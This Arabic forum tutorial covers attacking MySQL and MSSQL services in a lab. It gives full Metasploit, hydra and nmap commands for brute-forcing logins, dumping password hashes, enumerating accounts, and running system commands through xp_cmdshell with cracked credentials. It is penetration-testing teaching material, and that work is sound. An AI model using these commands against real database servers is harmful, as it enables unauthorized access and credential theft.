مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

خلاصة استهداف قواعد بيانات MySQL/MsSQL


السمعة:

السلام عليكم ورحمة الله وبركاته
كيف الحال والعيال, عساكم طيبين أيها الهكرجية الكرام؟


كنت قد تحدثت في موضوع سابق عن استهداف قواعد MySQL كـخدمة داخل الشبكة أو Service واستطردت فيها وفي تفاصيلها, أما اليوم سأكمل هذا الموضوع وزيادة عليه قواعد MsSQL حتى نكون قد لخصنا التكنيك المستخدم دائمًا لاستهداف هذه الخدمات
قد يقول قائل: لماذا لم تجعلها في موضوع واحد ؟؟

والله يا صاحبي كان المفترض أن يكون موضوع واحد لكن حصلت ظروف منعتني من هذا الأمر، لذلك قسمتها على موضوعين.

طيب، ما هي الأمور المطلوب معرفتها لقراءة هذا الشرح ؟؟
1 - معرفة أساسية بالشبكات وبروتوكولاتها
2 - معرفة أساسية بأداة nmap الشهيرة
3 - معرفة أساسية بمشروع الــmetasploit
4 - معرفة بسيطة بلغة SQL
5 - قراءة الشرح السابق عن MYSQL
لقراءة الشرح اضغط هنا

والآن لنتوكل على الله ونبدأ الشرح ..

دائمًا أخي العزيز ستجد الكثير من الاسكربتات لاستهداف أي خدمة ولكن لا أحد يوضح التكنيك الصحيح، وهنا في هذا الشرح سنعطيك التكنيك الصحيح الخاص باستهداف قواعد MySQL و MsSQL

اعلم أخي الحبيب أن استهداف هذه القواعد دائمًا يعتمد في المقام الأول على مرحلة جمع المعلومات ومرحلة التعداد بشكل أساسي؛
والسبب هو أنك ستحتاج إلى الوصول إلى أحد اليوزرات، بمعنى أنك إذا لم يكن لديك وصول لأحد اليوزرات سيفشل الاستهداف بنسبة 80% لأنه كما نلاحظ أن الاستهداف يعتمد على إرسال SQL Queries وطبعا لا تستطيع أن تفعل هذا الأمر دون شروط معينة متوفرة في الهدف الذي أمامك.

فأولًا يجب أن تمتلك وصول لأحد اليوزرات، ثانيًا يجب أن يدعم الهدف تطبيق Queries وكنا قد فصلنا في هذا الأمر وتحدثنا عن كيفية جمع هذا النوع من المعلومات.

أما في هذا الدرس سأعطيك مساحة أكبر من الأدوات التي يمكنك استخدامها لاستهداف MySQL وهذه الأدوات تتلخص في مشروع metasploit بالإضافة لأمر آخر سأشرحه في نهاية الاستهداف.


fa.webp


بعد أن فحصنا الهدف ووجدنا الخدمة فعّالة وطبقنا كل ما قلناه في الشرح الفائت سنبدأ باستخدام مشروع metasploit, إن كنت قد فشلت في إيجاد Empty Passwords كما فعلنا في الدرس الماضي، إذًا لا عليك، لنجرب شيئا آخر...

سنقوم بتطبيق هجوم القوة الغاشمة BruteForce, لنفتح مشروع الـmetasploit ونبحث في ال Modules

كود:
search mysql

1721818551415.webp


كما نرى سنستخدم هذا الـUtility لتنفيذ الهجوم:

كود:
use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.183.156.3

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

set USERNAME root

run



1721818844677.webp


كما ترون نجح الهجوم بفضل الله , سنجرب نفس الهجوم ولكن من أداة hydra:

كود:
hydra -l root -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.183.156.3 mysql

1721819051767.webp


كما ترون ظهر لنا نفس النتيجة

والآن بعد أن امتلكنا وصولًا لأحد اليوزرات، يمكنك أن تشرع بمزيد من التعداد , بإمكانك أن تستخدم أداة mysql التي شرحناها في الدرس الماضي ولكن في حال تم رفض الاتصال ستحتاج أن تستخدم الـmodules المتواجدة في metasploit.

الآن سأترك لك بعض الـmodules المهمة التي أنصحك بتجربتها والتي لن أشرحها لسهولة التطبيق عليها، كل ما ستحتاجه هو يوزر وباسسورد لتشغيل الـmodule وفي أقصى الأحوال ستحتاج مسار ملف لعمل تخمين

كود:
auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_hashdump

auxiliary/scanner/mysql/mysql_schemadump

auxiliary/scanner/mysql/mysql_version

auxiliary/scanner/mysql/mysql_writable_dirs





طيب لنفترض أنه في أسوأ الأحوال لم تصل لشيء أبدًا، أي لم تتمكن من الوصول لأي يوزر ولم تتمكن من التخمين، أي كل شيء مقفل, ماذا نفعل ؟؟
عليك باستهداف رقم الإصدار الخاص بالخدمة والبحث عن ثغرات الاختراق المباشر وهذا لن نغطيه في هذا الشرح؛ نظرًا لأن ثغرات الـmysql كثيرة جدًّا ويستحيل تغطيتها في شرح ما، لكن بإمكانك أن تجربها على metasploitable

ربما نتطرق لهذا الأمر في موضوعات قادمة بإذن الله

طيب لنفترض أنك لم تجد ثغرة في رقم الإصدار ماذا تفعل ؟؟
والله يا صاحبي يعني نموت نفسنا يعني ؟؟ خلاص بقى شوف أي حاجة غيرها محبكتش يعني تستهدف الخدمة دي 😂

هذا كان خلاصة استهداف mysql كاختبار اختراق شبكات، طبعًا يوجد أدوات أخرى ولكن لا أعرف حتى الآن تكنيكات أخرى لاختراق هذه الخدمة إلا عن طريق الويب وهذا أمر آخر بعيدًا تمامًا عن اختبار اختراق الشبكات.


fa.webp
استهداف MsSQL

هل تذكر أخي العزيز ما فعلناه مع mysql في الشرح السابق وفي الكلام السابق في هذا الدرس ؟؟
هل تذكر التكنيك الذي تحدثنا عنه ؟؟

copy past مفيش أي تغيير
😅
نعم والله لا يوجد أي تغيير إلا في الاسكربتات وبعض التفاصيل الصغيرة جدًا، سنتحدث عنها في هذا الدرس فركز معي

لنبدأ بفحص الهدف:
كود:
nmap 10.2.29.129 -vv

1722499392698.webp


كما نرى خدمة mssql موجودة,
لنبدأ باستخدام اسكربتات الـnmap

كود:
nmap -p 1433 --script ms-sql-info 10.2.29.129 -vv

1722499578234.webp


كما نرى أهم المعلومات التي حصلنا عليها هي أن الخدمة تعمل على سيرفر Microsoft SQL Server 2019, والآن لنستمر في عملية التعداد(Enumeration) ونحاول أن نصل لمعلومات أكثر:

كود:
nmap -p 1433 --script ms-sql-ntlm-info 10.2.29.129 -vv

1722499917283.webp


ما الذي حدث؟ وكيف تحصلنا على هذه المعلومات؟
كما نرى ظهرت لنا معلومات مهمة مثل إصدار النظام واسم الكمبيوتر واسم الـDN وغيرها من المعلومات المهمة

ما حدث هو أن هذا السكربت يقوم بإرسال طلب مصادقة (authentication request) باستخدام اسم domain غير صحيح ومعلومات تسجيل دخول فارغة مما يتسبب برد الخدمة علينا محملة ببعض المعلومات مثل Os Version, DNS و NetBIOS

سأترك مصدر في آخر الدرس لمزيد من المعلومات.


أحيانًا قد لا يظهر معك أي معلومات، حينها ممكن تستخدم script args كالتالي

كود:
--script-args mssql.instance-port=1433

الآن بعد أن حصلنا على بعض المعلومات الأساسية، سنفعل كما فعلنا مع MySQL، سنبدأ بالبحث عن empty Passwords

كود:
nmap -p 1433 --script ms-sql-empty-password 10.2.29.129 -vv

1722500563526.webp


كما نرى وجدنا اسم مستخدم، بإمكاننا أن نستخدمه لتسجيل الدخول، ولكن لنحاول الحصول على مزيد من اليوزرات بما أننا تحدثنا عن اليوزرات
لنحاول عمل bruteforce على اليوزرات:

كود:
nmap -p 1433 --script ms-sql-brute --script-args "userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt" 10.2.29.129 -vv

1722501111485.webp


كما نرى ظهر لنا المزيد من اليوزرات ومن ضمنهم حساب Admin
والآن لنسجل كل هذه المعلومات ونمضي في التعداد بعد أن حصلنا على العديد من اليوزرات، لنجرب عمل dump للهاشات

كود:
nmap -p 1433 --script ms-sql-dump-hashes --script-args "mssql.username=admin,mssql.password=anamaria" 10.2.29.129 -vv

1722501551114.webp


لا نحتاج أي تعليق على النتائج
الآن إذا قمنا باستعراض جميع اسكربتات nmap الخاصة بــmssql , سنجد أحد الاسكربتات المثيرة للاهتمام وهو ms-sql-xp-cmdshell.nse

هذا الاسكربت يستغل خاصية مفعلة في قاعدة البيانات , تمكن الخدمة من عمل spawn لـ Windows Command Shell
وبالتالي ستتمكن من تطبيق أي أوامر cmd
، ولكن في أغلب الأحيان هذه الخاصية لا تكون مفعلة لأن الخدمة بعد تفعيلها تأتي هذه الخاصية مغلقة بشكل افتراضي ولكن لا ضرر من التجربة

كود:
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" 10.2.29.129 -vv

1722502338208.webp


كما نرى تم تطبيق الأمر بلا أي مشاكل



مُلاحظة:
من أهم أسرار استهداف الخدمات أن تقوم بتفحص الأدوات الخاصة بك وتفحص ما تمتلك من إمكانيات, لذلك أنصحك دائما أن تلقي نظرة على الاسكربتات الخاصة بالـnmap وهذا ما أريدك أن تفعله الان، وهو أن تذهب لمسار هذه الاسكربتات وتلقي نظرة على الاسكربتات الخاصة بهدفك
بإمكانك أن تجرب كذلك تطبيق queries على الخدمة كما فعلنا مع mysql ولكن سأترك لك مساحة البحث عن الاسكربت فهو موجود في لستة الاسكربتات


fa.webp


استخدمنا الـnmap بفعالية بفضل الله ولكن ماذا عن مشروع الـ metasploit ؟
مشروع الميتا لن يختلف كثيرًا عن الـnmap سوا سهولة الاستخدام، ولكن سيقوم بنفس العمل تقريبًا.

سأعطيك أهم الـmodules التي أستخدمها في مشروع ميتا واستخدامها ومتطلباتها لن تخرج عما ذكرناه:

كود:
use auxiliary/scanner/mssql/mssql_login


use auxiliary/admin/mssql/mssql_enum

use auxiliary/admin/mssql/mssql_enum_sql_logins

use auxiliary/admin/mssql/mssql_exec

use auxiliary/admin/mssql/mssql_enum_domain_accounts




fa.webp


هذه بعض المصادر التي قد تفيدكم في هذا الموضوع:
https://nmap.org/nsedoc/scripts/ms-sql-tables.html
https://learn.microsoft.com/en-us/s...p-cmdshell-transact-sql?view=sql-server-ver15
https://tryhackme.com/r/room/networkservices2
https://learn.microsoft.com/en-us/sql/sql-server/?view=sql-server-ver16



fa.webp


هنا ينتهي الموضوع. إن أحسنت فمن الله، وإن أسأت فمن نفسي والشيطان

دُمتم هكرجية
 
التعديل الأخير:

آخر المشاركات

فانوس

رمضان
عودة
أعلى